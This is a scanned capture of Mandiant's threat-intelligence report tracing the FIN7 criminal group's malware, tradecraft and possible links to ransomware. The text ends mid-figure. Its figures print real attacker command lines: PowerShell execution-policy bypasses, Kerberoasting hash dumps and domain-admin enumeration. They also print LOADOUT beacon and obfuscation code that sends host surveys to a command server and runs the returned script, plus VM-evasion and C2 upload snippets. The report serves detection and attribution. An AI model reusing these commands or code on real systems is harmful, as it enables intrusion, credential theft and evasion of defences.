cloud.google.com
Open in
urlscan Pro
2a00:1450:4001:80e::200e
Public Scan
Submitted URL: https://www.mandiant.com/resources/evolution-of-fin7
Effective URL: https://cloud.google.com/blog/topics/threat-intelligence/evolution-of-fin7/?hl=en
Submission: On October 20 via api from BY — Scanned from DE
Effective URL: https://cloud.google.com/blog/topics/threat-intelligence/evolution-of-fin7/?hl=en
Submission: On October 20 via api from BY — Scanned from DE
Form analysis
2 forms found in the DOM/blog/search/
<form action="/blog/search/" class="A2C6Ob"><input class="BAhdXd" jsname="oJAbI" name="query" type="text" placeholder="Find an article..."><input type="hidden" name="language" value="en" hidden=""><input type="hidden" name="category" value="article"
hidden=""><input type="hidden" name="paginate" value="25" hidden=""><input type="hidden" name="order" value="newest" hidden=""><input type="hidden" name="hl" value="en" hidden=""><span class="A0lwXc" jsname="D8MWrd"
aria-label="Show the search input field." role="button" jsaction="click:jUF4E"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-xgZe3c" viewBox="0 0 24 24" role="presentation" aria-hidden="true" width="40" height="22">
<path d="M20.49 19l-5.73-5.73C15.53 12.2 16 10.91 16 9.5A6.5 6.5 0 1 0 9.5 16c1.41 0 2.7-.47 3.77-1.24L19 20.49 20.49 19zM5 9.5C5 7.01 7.01 5 9.5 5S14 7.01 14 9.5 11.99 14 9.5 14 5 11.99 5 9.5z"></path>
</svg></span></form>
/blog/search/
<form action="/blog/search/" class="A2C6Ob"><input class="BAhdXd" jsname="oJAbI" name="query" type="text" placeholder="Find an article..."><input type="hidden" name="language" value="en" hidden=""><input type="hidden" name="category" value="article"
hidden=""><input type="hidden" name="paginate" value="25" hidden=""><input type="hidden" name="order" value="newest" hidden=""><input type="hidden" name="hl" value="en" hidden=""><span class="A0lwXc" jsname="D8MWrd"
aria-label="Show the search input field." role="button" jsaction="click:jUF4E"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-xgZe3c" viewBox="0 0 24 24" role="presentation" aria-hidden="true" width="40" height="22">
<path d="M20.49 19l-5.73-5.73C15.53 12.2 16 10.91 16 9.5A6.5 6.5 0 1 0 9.5 16c1.41 0 2.7-.47 3.77-1.24L19 20.49 20.49 19zM5 9.5C5 7.01 7.01 5 9.5 5S14 7.01 14 9.5 11.99 14 9.5 14 5 11.99 5 9.5z"></path>
</svg></span></form>
Text Content
cloud.google.com uses cookies from Google to deliver and enhance the quality of its services and to analyze traffic. Learn more. Hide Jump to Content Cloud Blog Contact sales Get started for free Cloud Blog Solutions & technology Security Ecosystem Industries * Solutions & technology * Ecosystem * Developers & Practitioners * Transform with Google Cloud * AI & Machine Learning * API Management * Application Development * Application Modernization * Chrome Enterprise * Compute * Containers & Kubernetes * Data Analytics * Databases * DevOps & SRE * Maps & Geospatial * Security * Infrastructure * Infrastructure Modernization * Networking * Productivity & Collaboration * SAP on Google Cloud * Storage & Data Transfer * Sustainability * Security & Identity * Threat Intelligence * IT Leaders * Industries * Partners * Startups & SMB * Training & Certifications * Inside Google Cloud * Google Cloud Next & Events * Google Maps Platform * Google Workspace * Financial Services * Healthcare & Life Sciences * Manufacturing * Media & Entertainment * Public Sector * Retail * Supply Chain * Telecommunications * Solutions & technology * AI & Machine Learning * API Management * Application Development * Application Modernization * Chrome Enterprise * Compute * Containers & Kubernetes * Data Analytics * Databases * DevOps & SRE * Maps & Geospatial * Security * Security & Identity * Threat Intelligence * Infrastructure * Infrastructure Modernization * Networking * Productivity & Collaboration * SAP on Google Cloud * Storage & Data Transfer * Sustainability * Ecosystem * IT Leaders * Industries * Financial Services * Healthcare & Life Sciences * Manufacturing * Media & Entertainment * Public Sector * Retail * Supply Chain * Telecommunications * Partners * Startups & SMB * Training & Certifications * Inside Google Cloud * Google Cloud Next & Events * Google Maps Platform * Google Workspace * Developers & Practitioners * Transform with Google Cloud Contact sales Get started for free Threat Intelligence FIN7 POWER HOUR: ADVERSARY ARCHAEOLOGY AND THE EVOLUTION OF FIN7 April 4, 2022 * * * * MANDIANT Written by: Bryce Abdo, Zander Work, Ioana Teaca, Brendan McKeague -------------------------------------------------------------------------------- Recent public research asserts threat groups sharing overlaps with FIN7 transitioned to targeted ransomware operations involving REVIL, DARKSIDE, BLACKMATTER, and ALPHV ransomware. With the purported shift to ransomware operations, Mandiant is publishing our research on the evolution of FIN7 which we haven’t publicly written about since Mahalo FIN7, published in 2019. This blog post draws on organic research from both historical and recent intrusions that Mandiant directly investigated, and describes the process of merging multiple UNC groups into FIN7. This process allowed us to merge eight previously suspected UNC groups into FIN7 in January 2022. We also highlight notable shifts in FIN7 activity over this time, including their use of novel malware, incorporation of new initial access vectors, and likely shift in monetization strategies. * FIN7 continued to leverage PowerShell throughout their intrusions, including in a new backdoor called POWERPLANT, which FIN7 has continually developed over the last two years. We also identified new versions of the BIRDWATCH downloader being developed, which are tracked as CROWVIEW and FOWLGAZE. * FIN7’s initial access techniques have diversified to include software supply chain compromise and the use of stolen credentials, in addition to their traditional phishing techniques. We also observed FIN7 use POWERPLANT as their first stage malware instead of LOADOUT and/or GRIFFON in newer intrusions. * Data theft extortion or ransomware deployment following FIN7-attributed activity at multiple organizations, as well as technical overlaps, suggests that FIN7 actors have been associated with various ransomware operations over time. * Mandiant is also tracking multiple, notable campaigns as separate UNC groups that we suspect are FIN7, including a “BadUSB” campaign leading to DICELOADER, and multiple phishing campaigns leveraging cloud marketing platforms leading to BIRDWATCH. We first disclosed threat reporting and publicized research on FIN7 in 2017. Since then, we’ve published multiple blog posts on FIN7 operations, with more extensive content available on Mandiant Advantage. In this blog post, we focus on examining the most recent FIN7 intrusion operations, as well as the attribution methodologies that we used. THREAT ATTRIBUTION OVER TIME Our attribution methodology requires multiple layers of overlaps within collected threat data to merge suspected FIN7 UNC groups into our core FIN7 cluster. Merge evidence is sourced from analysis of attacker infrastructure, intrusion tradecraft, modus operandi, and how specific code is employed by the groups we research. Rigorous documentation of technical evidence is critical for modern cybercrime attribution, when considering the fluid and opportunistic nature of cybercriminal operations, as well as individual operators’ narrow allegiances to criminal organizations. It is also common for us to observe multiple threat groups engaging in intrusion operations within close temporal proximity, sometimes even using the same access method within hours or minutes of each other. This is especially notable in the ransomware ecosystem, where Mandiant has observed individual members shift teams, and teams migrate between affiliate programs commonly adopting different TTPs across intrusions depending on who they are collaborating with or gaining access from at a given time. To date, we suspect 17 additional UNCs of being affiliated with FIN7 with varying levels of confidence; however, those groups have not been formally merged into FIN7. Those groups’ activity spans as far back as 2015 and as recently as late 2021, across 36 separate intrusions. Eight previously suspected FIN7 UNC groups, active since 2020, have recently been merged into FIN7, confirming the resilience of actors associated with the threat group. 2020 ACTIVITY BRIEF: HEAVY ON THE LOADOUT FIN7 was active during the spring and summer of 2020, conducting phishing campaigns and attempting to distribute LOADOUT and GRIFFON. During that time, five UNC groups were created to track various campaigns, which eventually were merged into our new splinter group of FIN7, following merge analysis later in 2021 that expanded our understanding of FIN7. The impacts of related UNC merges for 2020 activity added usage of code families LOADOUT, TAKEOUT and a BIRDWATCH variant into FIN7. Figure 1: FIN7 Activity in 2020-2021 LOADOUT is an obfuscated VBScript-based downloader which harvests extensive information from the infected system. The harvested information is then sent to a command-and-control (C2) server. C2 server responses for LOADOUT infections delivered GRIFFON, a JavaScript-based downloader which retrieves additional JavaScript modules using HTTP or DNS and executes them in memory. In late summer of 2020, FIN7 capped off their busy year with the first observed usage of POWERPLANT. POWERPLANT, also referred to as “KillACK”, is a PowerShell-based backdoor with a breadth of capabilities, initially delivered following a successful GRIFFON infection in August 2020. Merges involving the usage of POWERPLANT into 2021 led us to assess that FIN7 is likely the only operator using POWERPLANT. 2021 ACTIVITY BRIEF: A SHIFT TO POWERPLANT We identified an uptick in FIN7-suspected UNC group activity during 2021 across five intrusions, beginning in April of 2021. The uptick led us to initiate a deep-dive research effort into FIN7. We also observed FIN7 shift their initial access techniques away from using LOADOUT, GRIFFON or CARBANAK in favor of direct deployment of POWERPLANT and BEACON. Specifically, FIN7 used POWERPLANT in all observed intrusions in 2021. FIN7 also relied on BEACON as a secondary mode of access alongside some POWERPLANT infections. Throughout 2021 we scrutinized a multitude of FIN7-linked UNC groups to our breadth of past FIN7 intelligence holdings, merging multiple threat clusters along the way. Our research revealed a fusion of older FIN7 intrusion tradecraft, and new FIN7 malware. POWERSHELL ARCHAEOLOGY: FIN7 HABITS DIE HARD There is no doubt about it, PowerShell is FIN7’s love language. FIN7 has implemented malware into its offensive operations using many programming languages; however, during on-system interactions, FIN7’s preference for boutique PowerShell-based loaders and unique PowerShell commands is dominant. Our deep dive into prior FIN7 intrusions dating as far back as 2019 bubbled up several long-standing patterns of unique PowerShell invocations still being used today. In the first example, command lines, such as in Figure 2 and Figure 3, had overall low-global prevalence outside of FIN7 and suspected FIN7 UNCs. cmd.exe /c start %SYSTEMROOT%\system32\WindowsPowerShell\v1.0\powershell.exe -noni -nop -exe bypass -f <REDACTED>/ADMIN$/temp/wO9EBGmDqwdc.ps1 Figure 2: FIN7 PowerShell Execution from 2019 cmd.exe /c start %SYSTEMROOT%\system32\WindowsPowerShell\v1.0\powershell.exe -noni -nop -exe bypass -f \\<REDACTED>\Admin$\c5k3fsys.3bp.ps1 Figure 3: FIN7 PowerShell Execution from 2021 The unique aspect in the Figure 2 and Figure 3 commands is the distinct parameters -noni -nop -exe bypass -f, for launching scripts located in Admin shares and installing Windows services. Since 2019, we have observed FIN7 use command line parameters such as these while interacting with victim systems through backdoor malware such as CARBANAK. We have since seen a shift of some of these distinct PowerShell commands being initiated through POWERPLANT infections. Smaller patterns and consistencies across FIN7 intrusions from 2019 and beyond reveal more distinct PowerShell command lines using -ex bypass -f or -ex bypass -fileas passed parameters. Although those patterns appear modest to hunt for, the combinations have extremely low global prevalence outside of FIN7-associated threat activity. For example, the first command line pattern has been seen over 2800 times, all of which were events attributed to FIN7. The second command line pattern has been seen nearly 250 separate times at 10 different victims as far back as 2019, all of which were FIN7 attributed commands. powershell.exe -ex bypass -file C:\windows\temp\fdddu32.ps1 Figure 4: FIN7 PowerShell Execution from 2019 powershell.exe -ex bypass -f c:\users\public\temp\AC-Win10w-x64.ps1 powershell.exe -ex bypass -f C:\Users\Public\Videos\AC-Bot-x64.ps1 Figure 5: FIN7 PowerShell Execution from 2020 powershell.exe -ex bypass -f pkit.ps1 powershell.exe -ex bypass -f cube.ps1 Figure 6: FIN7 PowerShell Executions from 2021 In addition to FIN7’s unique command lines during intrusion operations, we identified long-standing usage of other PowerShell code families, such as POWERTRASH. POWERTRASH is an in-memory dropper, or loader, written in PowerShell that executes an embedded payload. Observed payloads loaded by FIN7’s POWERTRASH include CARBANAK, DICELOADER, SUPERSOFT, BEACON and PILLOWMINT. POWERTRASH is a uniquely obfuscated iteration of a shellcode invoker included in the PowerSploit framework available on GitHub. With this improved understanding of FIN7 intrusion operations, we assembled our analytical efforts to begin merging multiple suspected UNCs into FIN7. As part of this initiative, we identified new FIN7 missions targeting our customers, including a Managed Defense Rapid Response engagement in 2021. MANAGING A DEFENSE FIN7 has targeted a broad spectrum of organizations in multiple industries, including Software, Consulting, Financial Services, Medical Equipment, Cloud Services, Media, Food and Beverage, Transportation, and Utilities. We identified over a dozen intrusions attributed to FIN7 since 2020 across our client base. The following use case profiles recent FIN7 tradecraft during a Mandiant Managed Defense engagement in 2021. FIN7 FROM THE TRENCHES To obtain initial access during this intrusion, FIN7 used compromised Remote Desktop Protocol (RDP) credentials to login to a target server across two separate days, and initiated two similar Windows process chains (Figure 7). rdpinit.exe ↳ notepad++.exe ↳ cmd.exe ↳ powershell.exe rdpinit.exe ↳ notepad++.exe ↳ cmd.exe ↳ rundll32.exe Figure 7: Two FIN7 process event chains FIN7 used established RDP access to eventually install other modes of host control, first by executing PowerShell reconnaissance scripts, then by executing a TERMITE loader (Figure 8). RunDll32 TstDll.dll,TstSec 11985756 Figure 8: Command line used to load FIN7 TERMITE TERMITE is a password-protected shellcode loader which we have observed at least seven distinct threat groups use to load BEACON, METASPLOIT, and BUGHATCH shellcodes. FIN7 used TERMITE to load and execute a shellcode stager for Cobalt Strike BEACON in this case. Following secondary access of BEACON, FIN7 began further enumeration using built-in Windows commands as well as POWERSPLOIT and Kerberoasting PowerShell modules. cmd.exe /C net group "Domain Admins" /domain cmd.exe /C quser powershell.exe -c import-module C:\Users\Public\kerberoast_hex.ps1; Invoke-Kerberoast -OutputFormat HashCat > hash.txt powershell.exe -ex bypass -c import-module C:\Users\Public\kerberoast_hex.ps1; Invoke-Kerberoast -OutputFormat HashCat powershell.exe -ex bypass -f pkit.ps1 After the initial reconnaissance using RDP and BEACON, FIN7 executed an obfuscated loader for a victim-customized variant of the PowerShell-based backdoor POWERPLANT, providing tertiary access: powershell.exe -ex bypass -f cube.ps1 FIN7 then attempted to steal credentials and further compromise the victims’ environment with limited success, as the client was able to respond and quickly remediate with the advantage of Managed Defense responders. A unique aspect of this specific intrusion perfectly highlighted the challenges of technical attribution for cybercriminal threats: Between the two days of FIN7 operations on the victim system, FIN12 was also active on the same victim for multiple hours using the same RDP account, but much different infrastructure and tradecraft, attempting to install BEACON using the WEIRDLOOP in-memory dropper before the intrusion was remediated. FIN7’S EVASION Among FIN7’s historical trademarks were their creative obfuscation and fast development of evasive techniques. This is still the case, with FIN7 first stage droppers and downloaders being heavily obfuscated. LOADOUT in particular, due to its wide distribution in opportunistic campaigns, has been through several iterations meant to improve evasion. The initial obfuscation mechanism was basic but effective at evading static detections: the malicious code was interspersed with random junk code (Figure 9). After a few months of successful campaigning, AV detection engines improved coverage of the downloader. To get around this, and to send a message, LOADOUT developer(s) broke up the beacon suspected to be used in detection signatures by simply inserting “FUCKAV” into the strings (Figure 8). data = "id=" & get_id() & "&FUCKAVtype=put" & get_computer_info("") & "&DomainHosts=" & count_domain_hosts() & "&UserName=" & usFUCKAVername & "&LogicalDrives=" & get_grivers() & "&SystemInfo=nothing&SoftwareInfo=nothing&NetworkInfo=nothingFUCKAV&ProcessList=" & get_processlist() & "&DesktopFileList=" & get_desktopfiles() & "&DesktopScreenshFUCKAVot=nothing&WebHistory=nothing&stype=vbs" response = send(panel_url, data) if response = "okFUCKAV" then js = send(panel_url, "") run_js(js) end ifFUCKAV Figure 8: System survey information sent as beacon by LOADOUT kiki=ado.ReadText ' OE5QAJ2VaFCK F5 Dim yiups yiups = "UTo" WScript.Echo(" error ") kok = replace(kiki, "FUCKAV", "") ulpo = "12" aoso = year("01/07/12") if right(aoso, 2) = ulpo then execute("WScript.Echo("" file is corrupted ""):" & kok) end if 'hello bitchw Figure 9: LOADOUT obfuscation Indeed, the developer(s) was correct to be suspicious that these strings were being used for detection. By pivoting on the beacon, we discovered a new, work-in-progress variant of LOADOUT submitted to VirusTotal (MD5: 485b2a920f3b5ae7cfad93a4120ec20d), detected by only one engine (Figure 10). Two hours later, a new version was submitted (MD5: 012e7b4d6b5cb8d46771852c66c71d6d), this time with the offending PowerShell command obscured through their custom obfuscation mechanism (Figure 11). objTS.WriteLine(TextCrypt) objTS.Close pwsh_command = "powershell.exe -executionpolicy bypass -file " & FileName & ".ps1" objWSH.Run pwsh_command, 0, True FSO.DeleteFile FileName & ".ps1" Figure 10: PowerShell command before obfuscation Text1 = "/3/3.1/2.1,7/2/2.0/3+4+5/4/2*3,7.0,7/2/2.1/4.0,6/3/3.0/3.0+5/4+5-9/4.1+5/4/3*3,7.0,6/3/2*3272327272412292326241618252310112117262125222518252429242516 261416272214202710112212232310" TextCrypt = Encryption(MakeCryptoText(TextUnShifter(Text1)), False) pwsh_command = TextCrypt & FileName & ".ps1" objWSH.Run pwsh_command, 0, True FSO.DeleteFile FileName & ".ps1" Figure 11: PowerShell command obfuscation FIN7 actors have historically tested their tools against public repositories to check static detection engine coverage. It is likely that in this case, they were testing the strength of their custom obfuscation. This new and improved version of LOADOUT emerged five months later. It was refactored to add multiple layers of obfuscation, including interspersed Bible verses as filler text, and string obfuscation through a custom mechanism (Figure 12). Private Function GetShiftKey() On Error Resume Next Set Key = CreateObject("Scripting.Dictionary") l = Len(CryptoKey i1 = 0 With Key For i = 1 To l s = Mid(CryptoKey, i, 1) n = (Asc(s) Mod 8) + 1 If Not .Exists(n) Then .Add n, n i1 = i1 + 1 End If If i1 = 9 Then Exit For Next If i >= l And i1 < 9 Then For i = 1 + 1 To 8 If Not .Exists(i) Then .Add i, i End If Next End If For i = 1 To 8 GetShiftKey = GetShiftKey + .Items()(i) Next End With End Function Private Function TextShifter(txt) Dim nKeys(), out() Key = GetShiftKey n = Len(Key) If n = 0 Then Exit Function l = Len(txt) m = -Int(-l / n) ReDim nKeys(n) For i = 1 To n s1 = Mid(Key, i, 1) For j = 1 To n s2 = Mid(Key, j, 1) If s1 > s2 Or (s1 = s2 And j <= i) Then nKeys(i) = nKeys(i) + 1 End If Next Next ReDim out(n * m) For i = 1 To Len(txt) out(nKeys((i - 1) Mod n + 1) * m + (i - 1) \ n - m + 1) = Mid(txt, i, 1) Next TextShifter = Join(out, "") End Function Figure 12: LOADOUT custom string obfuscation POWERPLANT: FIN7’S POWERSHELL WORKHORSE FIN7 has leveraged multiple methods of initial and secondary access into victim networks including phishing, compromising third-party systems, Atera agent installers, GoToAssist, and RDP. In a recent case, FIN7 actors compromised a website that sells digital products and modified multiple download links to point to an Amazon S3 bucket hosting trojanized versions, containing an Atera agent installer. This remote management tool was later used to deploy POWERPLANT to the victim system. This was the first time Mandiant observed FIN7 leverage supply chain compromise. FIN7’s time-tested CARBANAK and DICELOADER (also known as Lizar) malware continue to be in use; however, we have noticed FIN7 depend more on the POWERPLANT backdoor during recent intrusions. Our research into POWERPLANT has revealed that it is a vast backdoor framework with a breadth of capabilities, depending on which modules are delivered from the C2 server. POWERPLANT backdoors contain internal version identifiers within the code. We have identified samples ranging from version “0.012” through “0.028”, with examples shown in Table 1. POWERPLANT Sample MD5 Version 5a6bbcc1e44d3a612222df5238f5e7a8 0.012 0291df4f7303775225c4044c8f054360 0.016 3803c82c1b2e28e3e6cca3ca73e6cce7 0.019 d1d8902b499b5938404f8cece2918d3d 0.021(TLS1) 833ae560a2347d5daf05d1f670a40c54 0.021b(SVC) edb1f62230123abf88231fc1a7190b60 0.021c(SVC) bce9b919fa97e2429d14f255acfb18b4 0.022 b637d33dbb951e7ad7fa198cbc9f78bc 0.025 2cbb015d4c579e464d157faa16994f86 0.028 Table 1: POWERPLANT samples The rate of increase in these internal version numbers over time suggests that FIN7 is actively developing POWERPLANT (Figure 13). In one engagement, we observed FIN7 deploy incremented versions of POWERPLANT with tweaked functionality to targets in the middle of intrusion operations. During that engagement, versions “0.023” and “0.025” were both used within a 10-minute timeframe. Each version we have identified implements overall similar functionality with some programmatic improvements and features added over time. Figure 13: POWERPLANT version numbers Mandiant also recovered portions of server-side code components from POWERPLANT controllers. Some of these components contain clues that hint at the operational security mindfulness of the malware’s developers. Two such examples are FIN7 being aware of researchers investigating their infrastructure, and employing capabilities to ban target host aspects such as usernames from the panel. check_username check_hostdomain check_hostname check_hosts check_researcher check_desktop Figure 14: Snippet of functions from POWERPLANT Server Settings if (res) { localStorage.setItem('success-add-username', 'success-add-username-to-blacklist'); location.reload(); } }, Figure 15: Snippet of functions from POWERPLANT Server Settings /** * Инициализация */ init() { this.config(); this.events(); }, /** * Конфиги */ config() { this.config = { window: $(window), document: $(document), content: $('#content'), lastUrl: null, isPage: true, isModal: false, intervalId: null, timer: null, selectedBots: [] }; } Figure 16: Snippet of functions from POWERPLANT Server Configuration During active C2 sessions, POWERPLANT servers will send multiple additional module types as “tasks” for target systems to execute. Two of these modules are EASYLOOK and BOATLAUNCH. EASYLOOK MODULE EASYLOOK is a reconnaissance utility that FIN7 has used since at least 2019. EASYLOOK captures a wide range of data from infected systems, including operating system version, registration key, system name, username, domain information, and hardware specifications. The initial version of EASYLOOK was delivered by a GRIFFON C2 server and written in JScript (Figure 18). FIN7’s updated variation of EASYLOOK was delivered by a POWERPLANT variant C2 server and written in PowerShell (Figure 17). Both versions implemented the exact same functionality across two code languages, including the typo “bios_versoin”. function is_wm { $bios = Get-WMIObject Win32_Bios $SerialNumber = $bios.SerialNumber $bios_versoin = $bios.SMBIOSBIOSVersion If ($SerialNumber.Contains("parallels") -or $SerialNumber.Contains("vmware")) { return $true } If ($bios_versoin.Contains("vmware") -or $bios_versoin.Contains("virtualbox")) { return $true } return $false } Figure 17: VM check from new variant of FIN7 EASYLOOK coded in PowerShell function is_vm () { var biosRequest = wmi.ExecQuery('SELECT * FROM Win32_BIOS'); var biosItems = new Enumerator(biosRequest); for (; !biosItems.atEnd(); biosItems.moveNext()) { var bios_versoin = biosItems.item().SMBIOSBIOSVersion.toLowerCase(); var serial_number = biosItems.item().SerialNumber.toLowerCase(); if(serial_number.indexOf('parallels') >= 0 || serial_number.indexOf('vmware') >= 0) { return true; } if(bios_versoin.indexOf('vmware') >= 0 || bios_versoin.indexOf('virtualbox') >= 0) { return true; } } return false; } Figure 18: VM check from first variant of FIN7 EASYLOOK coded in JavaScript BOATLAUNCH MODULE BOATLAUNCH is a utility sent from FIN7 POWERPLANT controllers that is used as a helper module during intrusion operations. BOATLAUNCH is used to patch PowerShell processes on infected systems to bypass Windows AntiMalware Scan Interface (AMSI). The malware loops, looking for unpatched PowerShell processes, and for each unpatched process the malware locates and patches amsi.dll!AmsiScanBuffer with a 5-byte instruction sequence to always return S_OK. The technique used to patch AMSI is a variation of publicly described common AMSI bypass techniques. Both 32bit and 64bit variants of BOATLAUNCH have been observed using the following export directory DLL names (Table 2). BOATLAUNCH Bitness Export Directory Name 32-bit amsi32_kill.dll 64-bit amsi64_kill.dll Table 2: BOATLAUNCH PE Export Directory Names THE CURIOUS CASES OF BIRDWATCH Our deep dive also revealed usage of BIRDWATCH and its’ similar variants used by FIN7 and suspected FIN7 groups such as UNC3381. BIRDWATCH is a .NET-based downloader which retrieves payloads over HTTP, writing them to disk and then executing them. BIRDWATCH uploads reconnaissance information from targeted systems as well, which includes running processes, software installed, network configuration, web browser information and active directory data. BIRDWATCH is often referred to collectively as “JssLoader”; however, multiple variations of BIRDWATCH exist which we track as separate code families. One variant of BIRDWATCH is CROWVIEW, which is also .NET-based, but has enough code differences from prototypical BIRDWATCH that we cluster it separately. Unlike BIRDWATCH, CROWVIEW can house an embedded payload, can self-delete, supports additional arguments and stores a slightly different configuration. FIN7 has implemented similar or exact functionality in different programming languages, observed in various code families several times over the past few years. Similar to EASYLOOK, which has both JScript and PowerShell variants, BIRDWATCH and CROWVIEW have separate versions implemented in C++. This data point of code reuse and overlaps aided our technical attribution throughout multiple UNC merges, when combined with additional infrastructure and tradecraft analysis. In this first example, programmatic collection of the BIOS (Basic Input Output System) serial number is shown across POWERPLANT and CROWVIEW code families. private static string GetBiosSerial() { string result = "BIOS UNKNOWN"; try { ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT SerialNumber FROM Win32_BIOS"); ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get(); foreach (ManagementBaseObject managementBaseObject in managementObjectCollection) { ManagementObject managementObject = (ManagementObject)managementBaseObject; result = (string)managementObject["SerialNumber"]; } } catch { } return result; } Figure 19: C# Code Snippet from FIN7-attributed CROWVIEW, a variant of BIRDWATCH function Get-BiosSerial() { $sn = "BIOS UNKNOWN" $_sn = "" try { $mSearcher = Get-WmiObject -Query "SELECT SerialNumber FROM Win32_BIOS" foreach ($o in $mSearcher) { if ($o.Properties.Name -eq "SerialNumber") { $_sn = $o.Properties.Value } } } catch {} if ([String]::IsNullOrEmpty($_sn) -eq $false) { $sn = $_sn } return "$sn"; } Figure 20: PowerShell Code Snippet from FIN7-attributed POWERPLANT System enumeration data formatting overlaps also exist between FOWLGAZE and EASYLOOK. Both code families implement near identical system surveys, with the shared usage of keys such as “pc_domain”, “pc_dns_host_name”, “pc_model” and “no_ad”. {"host":"<HOSTNAME>", "domain": "<DOMAIN>", "user":"<USERNAME>", "processes": [<PROCESS_LIST>] ,"desktop_file_list": [<FILE_LIST>] ,"adinfo": {"adinformation":"no_ad", "part_of_domain":"no", "pc_domain":"", "pc_dns_host_name":"", "pc_model":""}} Figure 21: Data Collection JSON Format Snippet of FOWLGAZE("JssLoader") $result += ('username***' + $env:USERNAME) $result += ('hostname***' + $env:COMPUTERNAME) $elevated = $(whoami /groups).Contains("12288") If ($elevated) { $result += 'yes' } Else { $result += 'elevated***' + 'no' } $ad = get_active_directory_information if ($ad) { $result += ('adinformation***' + $ad) } else { $result += ('adinformation***no_ad') } $csRequest = Get-WmiObject Win32_ComputerSystem $csRequest.PartOfDomain If ($csRequest.PartOfDomain) { $result += ('part_of_domain***yes') } else { $result += ('part_of_domain***no') } $result += 'pc_domain***' + $csRequest.Domain $result += 'pc_dns_host_name***' + $csRequest.DNSHostName $result += 'pc_model***' + $csRequest.Model Figure 22: Data Collection Code Snippet of EASYLOOK (Reconnaissance Module) A final code reuse example is usage of "theAnswer", defined as variable within program functionality of POST requests to C2 controllers for both CROWVIEW and POWERPLANT, as shown in Figure 23 and Figure 24. public void Put(string theAnswer) { AppHttp.wCli.QueryString.Clear(); AppHttp.wCli.QueryString.Add("type", "put"); string text = Convert.ToBase64String(Encoding.ASCII.GetBytes(AppParams.ProgID)).Replace("+", "***"); string text2 = Convert.ToBase64String(Encoding.ASCII.GetBytes("put")).Replace("+", "***"); string body = string.Concat(new string[] { "id^^^", text, "&type^^^", text2, "&", theAnswer }); string text3 = this.HttpUpload(AppParams.URL_PutAnswer, body); } Figure 23: C# Code Snippet from FIN7-attributed CROWVIEW and BIRDWATCH (JssLoader) Function Send-ToConsole([String] $theAnswer) { if ([String]::IsNullOrEmpty($theAnswer)) { return } $_rc = "" try { $_wc = New-Object System.Net.WebClient $_wc.QueryString.Add("id", $script:myID) $_wc.Headers.Add("Content-type", "text/html") $_wc.Headers.Add("Accept", "text/html") $_rc = $_wc.UploadString($urlConsole, $theAnswer) Figure 24: PowerShell Code Snippet from FIN7-attributed POWERPLANT Malware code usage is sometimes considered a primary data point for some public threat attribution. Code overlaps by themselves, without sufficient additional data points such as intrusion data and infrastructure, are not strong enough for us to fully assess that an UNC group should be merged. Throughout 2021 and well into 2022, we have identified and will continue to track multiple newly suspected FIN7 UNCs and their activity moving forward. ADDITIONAL RECENT ACTIVITY FROM SUSPECTED FIN7 UNCS In October 2021, Mandiant observed a campaign where actors mailed victim organizations “BadUSB” malicious USB devices, primarily targeting U.S.-based organizations. We attribute this campaign to UNC3319, a group which we suspect to be associated with FIN7 with low confidence. The USB hardware was programmed to download STONEBOAT, which ultimately installed the DICELOADER framework on the victim system. STONEBOAT is a previously unseen, .NET-based in-memory dropper which decrypts a shellcode payload embedded in it. The payload is then mapped into memory and executed. STONEBOAT was observed first loading an intermediary loader called DAVESHELL, which then executed the final DICELOADER payload. DAVESHELL is publicly available, open-source code for a launcher of embedded payloads. DAVESHELL is used by nearly 30 threat groups including FIN12; however, the implementation of DAVESHELL shellcode loading DICELOADER was unique to a small cluster of threat activity. Additionally, we’ve identified multiple phishing campaigns distributing BIRDWATCH that have leveraged compromised accounts on various email delivery and marketing platforms, including Maropost, ActiveCampaign, and Mailjet. We attribute this activity to UNC3381, which is suspected to be FIN7 with low confidence. UNC3381 was first observed in September 2021, but we’ve identified similar activity leveraging Mailjet dating back to late 2019, suspected to be UNC3381 with high confidence. Throughout their campaigns, UNC3381 has used nearly identical Quickbooks-themed invoice lures and leveraged the branding of the compromised account that they were sent from, providing additional legitimacy for their phishes. These emails contained a malicious link that goes through the analytics domain associated with the platform they were sent from, before redirecting to a page typically hosted on a compromised domain. Figure 25: UNC3381 Quickbooks-themed phishing email UNC3381 has used multiple malware families in these campaigns, including WINGNIGHT and FLYHIGH, two different downloader families which we’ve only observed being used by UNC3381. WINGNIGHT is a WSF-based downloader that utilizes VBScript, and FLYHIGH is a downloader written in C using the Excel XLL SDK, but masquerades as using the Excel-DNA framework. In these campaigns, we observed both WINGNIGHT and FLYHIGH leading to BIRDWATCH, often leveraging additional compromised domains for both the download server and the BIRDWATCH C2 controller. We’ve observed limited overlaps between UNC3381 and FIN7 infrastructure as well, including the use of the same DNS provider and AS. FIN7 AND RANSOMWARE Mandiant published finished intelligence in 2020 which outlined evidence of FIN7’s possible shift in monetization of intrusions from payment card data to extortion operations. Although FIN7’s operations have shifted substantially when compared to their older activity, as of publishing this report, Mandiant has not attributed any direct deployment of ransomware to FIN7. However, the possibility that FIN7 actors are engaging in ransomware operations is also substantiated by evidence outside of our intrusion data holdings and includes code usage, actor infrastructure, and trusted third party sources. In at least two incident response engagements in 2020, FIN7 intrusion operations were identified prior to ransomware encryption, including the use of MAZE and RYUK. Similarly in 2021, Mandiant attributed active FIN7 intrusion activity during an incident response engagement involving ALPHV ransomware. In all these cases, the ransomware deployment is currently attributed to separately tracked threat groups due to factors of the investigation and our visibility. In addition to evidence produced from intrusion data, secondary artifacts suggest FIN7 played a role in at least some DARKSIDE operations. A low global prevalence code signing certificate used by FIN7 in 2021 to sign BEACON and BEAKDROP samples was also used to sign multiple unattributed DARKSIDE samples recovered in the wild (Table 3). The specific mentioned code signing certificate used by FIN7 contained the SSL subject common name of “OASIS COURT LIMITED” (Figure 26). Serial Number: e4:e7:95:fd:1f:d2:55:95:b8:69:ce:22:aa:7d:c4:9f Signature Algorithm: sha256WithRSAEncryption Issuer: C = GB, ST = Greater Manchester, L = Salford, O = Sectigo Limited, CN = Sectigo RSA Code Signing CA Validity Not Before: Dec 21 00:00:00 2020 GMT Not After : Dec 21 23:59:59 2021 GMT Subject: C = GB, postalCode = CO3 9FA, ST = Essex, L = Colchester, street = 10 Stoneleigh Park, O = OASIS COURT LIMITED, CN = OASIS COURT LIMITED Figure 26: Code signing certificate used by FIN7, also used to sign multiple DARKSIDE 